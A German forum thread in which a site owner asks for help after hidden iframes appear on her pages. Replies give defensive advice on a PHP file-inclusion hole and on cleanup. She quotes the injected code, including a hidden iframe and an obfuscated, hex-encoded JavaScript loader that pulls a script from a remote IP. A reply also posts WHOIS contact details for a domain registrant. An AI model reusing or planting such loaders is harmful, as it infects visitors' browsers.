• Das Erstellen neuer Accounts wurde ausgesetzt. Bei berechtigtem Interesse bitte Kontaktaufnahme über die üblichen Wege. Beste Grüße der Admin

Virus auf allen meinen Seiten?

Lioba

New member
Hallo

als ich einen meiner quelltexte angeschaut habe, habe ich das hier diekt nach dem body-tag gefunden:

<iframe src='http://quickcnt.com/ld/axhst/' width='1' height='1' style='visibility: hidden;'></iframe>

Ich habs natürlich nicht dorthin getan! Dieses I-Frame hat den IE dazu gebracht, nicht mehr zu funktionieren....
Dann habe ich meine anderen Seiten überprüft und festgestellt dass auf allen Seiten die auf diesem Server liegen dieses Frame und noch andere Sachen drauf waren. Chinesische Werbung z.B. Ich habe meine Seiten anschließend hochgeladen und den Kram so gelöscht, aber es könnte ja sein, dass es sich wieder einnistet...
Glaubt ihr das liegt an meinem Rechner oder an dem des Servers? Was könnte ich dagegen tun?
 
Offenbar hat Dich da jemand gehackt.
Und zwar von hier:
Registration Service Provided By: IN-TELECOM LTD.
Contact: +7.3422774365

Domain Name: QUICKCNT.COM

Registrant:
N/A
Adam Young (honnodo@yandex.ru)
939 Bellestri
Ballwin
MO,356230
RU
Tel. +001.923339171

Creation Date: 31-Mar-2007
Expiration Date: 31-Mar-2008

Domain servers in listed order:
ns2.quickcnt.com
ns1.quickcnt.com


Administrative Contact:
N/A
Adam Young (honnodo@yandex.ru)
939 Bellestri
Ballwin
MO,356230
RU
Tel. +001.923339171

Technical Contact:
N/A
Adam Young (honnodo@yandex.ru)
939 Bellestri
Ballwin
MO,356230
RU
Tel. +001.923339171

Billing Contact:
N/A
Adam Young (honnodo@yandex.ru)
939 Bellestri
Ballwin
MO,356230
RU
Tel. +001.923339171

Status:ACTIVE
 
Zuletzt bearbeitet:
hm lag das an mir oder an meinem server, denn ich hab auf den nur einen ftp und mysql zugriff.

EDIT: Woher hast du die Daten denn und wie kommst du darauf dass er es war?

@dkdenz: danke für deine schnelle antwort *freu*
 
Zuletzt bearbeitet:
oh das ist ja verückt, da erhält man ja total viele infos über den serverinhaber (sogar über meinen)!

EDIT: sollte ich diesem Adam mal eine E-Mail schreiben oder besser nicht?
 
Zuletzt bearbeitet:
Ich glaube kaum, dass es den stört, oder dass er es ändern wird. Entweder steckt er mit drinne, oder sein Server wird von den wahren Übeltätern mißbraucht.

Viel wichtiger ist Deine Seiten abzusichern, damit das nicht nochmal passiert. Offensichtlich gibt es entweder ein individuelles oder ein per Skriptsammlung nutzbares Sicherheitsloch auf Deinen Seiten.
Dazu solltest Du als erstes die Passwörter ändern und am besten den kompletten Webspace bereinigen und frisch aufspielen. Außerdem solltest Du sämtlichen dynamischen Code nach Einfallstoren durchschauen - weil sonst können die immer wieder reinkommen.
 
Automatische, per Skriptsammlung, ausnutzbare Löcher enstehen durch alte oder ungepatchte Fremdskripte, wie z.B. Gästebuch, Shoutbox, Forum, CMS, usw.
Da diese Softwarepakete von vielen Homepage-Besitzern eingesetzt werden, sind sie für die pösen Pupen besonders interessant, da sie kaum Eigenleistung aufbringen müssen, einzig die URL / Domain müssen sie aufspüren. Aber da hilft $Suchmaschine meist ganz gut.

Löcher oder Scheunentore in Deinem eigenen Code sind für die Skriptkiddies weniger interessant, denn sie müssen hier selbst Hand anlegen und das fordert mehr Grips, als die meisten dieser Spezies aufzubringen in der Lage sind.
Glücklicherweise sind Scheunentore und Sicherheitslöcher so vielfältig und kommen in dermaßen vielen Varianten daher, dass man nie 100% sicher sein kann, alle erwischt zu haben. Eine Möglichkeit für ein solches Tor wäre die immer wieder gern genommene "include" Funktion von PHP, die man so schön mit einer GET oder POST Variable füttern kann, um je nach angeklicktem Link eine andere Seite einzubinden. Im Forum findest Du sicherlich viele solcher Beispiele (ich meine erst gestern gab es wieder eins).

Als generelle Richtung kann man eigentlich nur sagen: Alles, was ungeprüft vom Browser übernommen wird, ist ein Sicherheitsrisiko. Daten vom Browser sind immer als dreckig und latent böse anzusehen.


Wenn Du selbst keine Drittanbieter Software (Forum, Gästebuch, usw.) einsetzt und Du vor einem Audit Deiner PHP Quellen zurückschreckst, könntest Du auch erst einmal mit Deinem Provider quasseln. Dort kannst Du Deinen Fall schildern und gfs. um Unterstützung bei der forensischen Analyse bitten, um den Angriffsvektor ausfindig zu machen. Vielleicht ist ja auch die Software des Providers defekt. Oder die Angreifer sind über einen, auf dem gleichen Rechner gehosteten, anderen Webauftritt eines weiteren Kunden eingedrungen und haben einen Rundumschlag auf dem kompletten Rechner gemacht.
Auf jeden Fall sollte der Provider Logdateien haben, die z.B. FTP Zugriffe zeigen, dort kann man zumindest rausfinden, wann der Angriff stattgefunden hat.
 
@Albu: Super vielen Dank für deine ausführliche Antwort, du hast mir damit sehr geholfen! Ich benutze tatasächlich keine Gästebücher oder Foren von anderen Anbietern aber dafür immer diese include funktion, ohne die ich glaube ich gar nicht arbeiten könnte.

heute war meine seite wieder gehackt ich denke ich sollte den webspace vielleicht wirklich ganz löschen und nur die wichtigsten seiten hochladen.... ich hoffe das wird funktionieren... :-(
 
include() ist nicht automatisch schlecht. Nur wenn du den Pfad abhängig von ungesicherten Usereingaben machst.

Die Seite oder den Quelltext zu sehen wäre interessant. Wie riskant das ist, das hier im Forum zu lösen, weiss ich nicht. Aber vll. könnte dieser Thread sehr lehrreich im Bereich Injection & anderer Sicherheitslöcher werden.

Nein?
 
oh wie nett das wär toll, ich hab aber viele seiten, vielleicht sollte ich meine letzte posten, weil ich vorher noch nicht gehackt wurde und nun mit AJAX gearbeitet habe, das könnte doch so ein loch sein oder?
 
ajax selbst eher nicht, das läuft ja auch nur clientseitig ab. Interessanter könnten die Scripte sein die mit AJAX aufgerufen werden.
 
ja so in etwa meinte ich das glaube ich auch ^^
also ich habe ja meinen provider angemailt, und der macht sich jetzt an die mühselige aufgabe, meine scripte nach einschlupflöchern zu untersuchen, weil nur mein account davon betroffen ist. das ist wirklich lieb von ihm...

ich werde die "löcher" dann hier für die allgemeinheit posten.
Ich kann auch die Scripte liefern aber ich wurde grad zum essen gerufen ^^
bis dann!
 
so ich meld mich mal wieder! Ich habe entdeckt, dass ich doch Gästebücher etc habe, zwar meine selbstprogrammierten, aber die waren so einfach, dass Programme sie bestimmt aufgespürt haben. Nachdem ich die alle gelöscht hatte, war erst mal Ruhe und ich habe keinen weiteren Angriff bekommen. Alle meine Seiten habe ich gesperrt (einfach index.php ersetzt) und das schien geholfen zu haben.

Gestern aber leider schon wieder. Ich wollte euch jetzt fragen ob es an meiner Link-Sammlings-Seite liegt. Hier: http://linkz.lioba.info/ (Bitte nichts eintragen, bevor ich keinen Passwortschutz eingebaut habe, ich VERTRAU euch)

Wenn das der Fall wäre, warum hat mich das Programm dann nicht schon früher angegriffen?
 
Mir ist sowas auch mal passiert.
Bei mir lags schlicht und einfach daran, dass ich die Seiten immer über "index.php?s=[Seite]" includet und $s nicht in irgendeiner Weise geprüft hab.
 
ahhh! Wenn das die Lösung ist, ist mir schon gut geholfen. Weißt du denn, wie man so Angriffe planen könnte? Wenn ich wüsste wie das geht, könnt ich meine Seiten viel besser schützen. Ich kann mir nämlich grad nicht vorstellen, wie jemand einfach über beispielsweise die Variable $s die Seite angreifen kann.
Vielen Dank für den Tipp nochmal!
 
okay ich geb mal ein Beispiel von meiner jetzt eingebauten Überprüfung:

hier wird $go vergleichbar mit o.g. $s überprüft:
inhalt.php
PHP:
//wenn go leer ist, füge home.php ein
if(empty($go))	
	include 'home.php';
else
	//wenn go ein Element der Adminarea ist
	if(in_array($go, $adminarea))
		//wenn man nicht eingeloggt ist, füge login ein
		if(empty($_SESSION['userInfo']->loggedIn) OR $go == "login")
			$ausgabe .= login();
		else
		//ansonsten füge die entsprechende go-datei an
			include $go.'.php';
	//wenn go im array links ist, füge entsprechende datei ein
	else if(in_array($go, $links))
		include $go.'.php';
	//ansonsten gib Feher aus
	else
		$ausgabe .= 'Diese Seite gibt es nicht!';

index.php (ich hab unwichtiges entfernt)
PHP:
<?
include 'config.php';
include 'functions.php';
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title></title>
<link rel="stylesheet" type="text/css" href="design.css" />
<!--[if IE]>
<link rel="stylesheet" type="text/css" href="designIE.css" />
<![endif]-->
<script type="text/javascript" src="xmlObject.js"></script>
</head>
<?

//++++++++++++++ Links ++++++++++++++++
$adminarea = array(
'Adventure Mode' => 'adventureMode',
'Char-Elements Editor' => 'char_elements_editor',
'Race Editor' => 'race_editor',
'Regionen-Editor' => 'regions_editor',
'Area Tool' => 'areatool',
'Object Editor' => 'object_editor'
);

$links = array(
'Funktionen Übersicht' => 'directories',
'Testseite' => 'testseite'
);


include 'inhalt.php';

echo $ausgabe;
?>

So ich hab noch eine Frage: Übergebene Variablen, die z.B. nur in einer Adminarea vorkommen oder im eingeloggten Zustand der user können doch eigentlich nicht von außenstehenden Programmen manipuliert werden, weil sie ja das passwort nicht kennen um die seiten zu betreten oder?

Und ich wollte wissen wie man jetzt ein Iframe einfach in meinen Quellcode reinbekommt? Wie machen die das? Die müssen doch dafür Zugriff auf meinen Server haben oder?
Ich habe ja bereits mit meinem Provider gesprochen und er meinte der Angriff liegt nur auf meinem Webspace, d.h. entweder kennt das Programm mein Passwort oder es kommt eben durch eine Sicherheitslücke.

(Übrigens schaut mein provider meinen Code nicht durch, wär auch viel zu viel Arbeit....)

Ich würde gerne meinen Code hier besprechen, ich denke auch nicht dass es riskant ist. Vielen Dank für eure Hilfe!

EDIT: ich hab schon wieder sowas:
HTML:
<iframe src='' width='1' height='1' style='visibility: hidden;'>
</iframe>
<script>
function v47412f87b8a38(v47412f87b8e08)
{  
	return(parseInt(v47412f87b8e08,16));
}

function v47412f87b99c2(v47412f87b9da7)
{ 
	function v47412f87ba965 () {return 2;}
	var v47412f87ba1af='';
	for(v47412f87ba578=0; v47412f87ba578<v47412f87b9da7.length; v47412f87ba578+=v47412f87ba965())
	{ 
		v47412f87ba1af+=(String.fromCharCode(v47412f87b8a38(v47412f87b9da7.substr(v47412f87ba578, v47412f87ba965()))));
	}
	return v47412f87ba1af;
} 
document.write(v47412f87b99c2('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D66613034207372633D5C27687474703A2F2F37372E3232312E3133332E3232372F646966662F676F2E7068703F7369643D313F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3238353934292B2732363030303131626264325C272077696474683D3538206865696768743D343933207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));
</script>
Was tut diese Funktion überhaupt?
 
Zuletzt bearbeitet:
ich würde versuchen die Navigation nicht durch GET/POST-Parameter zu gestalten, sondern durch richtige Links. Also nicht eine index.php die dann weiterleitet oder includiert sondern eine index.php und eine login.php und eine links.php.

Macht den Code übersichtlicher und sicherer. Funktionen oder Teile die du in allen Seiten brauchst includierst du dann. Aber nicht ein Gerüst und dann den inhalt includieren. Das macht dich dann flexibler.

Solltes du trotzdem über get-Parameter navigieren/includieren müssen: Mappe diese Parameter. Also nicht den dateinamen übergeben sondern am besten eine definierte Konstante. Innerhalb eines Switch könntest du diese Konstante dann auswerten und die entsprechende Seite includieren. Dadurch kannst du keine Möglichkeiten vergessen, da ja nur Seiten erlaubt sind, die du vorher im Switch auch definiert hast.

[Edit]
PHP:
   include $go.'.php';
Das ist definitv eine riesige Sicherheitslücke! Du müsstest jetzt sicherstellen das $go keine bösen Seiten enthält und böse könnten sogar Seiten von deinem Server sein (zb weil sie für denjenigen an dieser Stelle nicht zugänglich sein sollen....). Mit meinem Vorschlag gibts du von vorn herein an welche Seiten gut sind und da das sicher viel weniger als böse Seiten sind ist es einfacher und sicherer.
Du kannst natürlich auch irgendwelche Pattern basteln mit den du die Seite überprüfst aber wer sagt dir das dein Pattern richtig ist und vorallem das du nichts vergessen hast.

Ich empfehle außerdem die Verwendung von {} auch bei einzelnen If Statetments. Macht deinen Code weniger Fehleranfällig bei Veränderungen
 
Zuletzt bearbeitet:
Zurück
Oben